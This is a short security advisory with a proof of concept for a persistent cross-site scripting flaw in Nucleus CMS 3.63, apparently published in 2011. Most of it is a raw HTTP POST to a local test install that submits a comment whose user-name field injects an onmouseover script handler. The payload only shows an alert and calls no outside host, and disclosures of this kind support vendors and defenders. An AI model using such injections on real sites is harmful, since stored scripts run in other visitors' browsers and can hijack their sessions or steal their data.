Nucleus CMS 3.63 Cross Site Scripting

`------------------------------------------------------------------------  
Software................Nucleus CMS 3.63  
Vulnerability...........Persistent Cross-site Scripting  
Threat Level............Moderate (2/5)  
Download................http://nucleuscms.org/  
Vendor Contact Date.....3/10/2011  
Disclosure Date.........3/24/2011  
Tested On...............Windows Vista + XAMPP  
------------------------------------------------------------------------  
Author..................AutoSec Tools  
Site....................http://www.autosectools.com/  
Email...................John Leitch <[email protected]>  
------------------------------------------------------------------------  
  
  
--PoC--  
  
POST http://localhost/nucleus3.63/index.php?itemid=1 HTTP/1.1  
Host: localhost  
Connection: keep-alive  
Referer: http://localhost/nucleus3.63/index.php?itemid=1  
Content-Length: 119  
Cache-Control: max-age=0  
Origin: http://localhost  
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16  
Content-Type: application/x-www-form-urlencoded  
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5  
Accept-Encoding: gzip,deflate,sdch  
Accept-Language: en-US,en;q=0.8  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3  
  
action=addcomment&url=index.php%3Fitemid%3D1&itemid=1&body=xxx&user="onmouseover="alert(0)"&userid=zzzz&email=x%40x.com  
`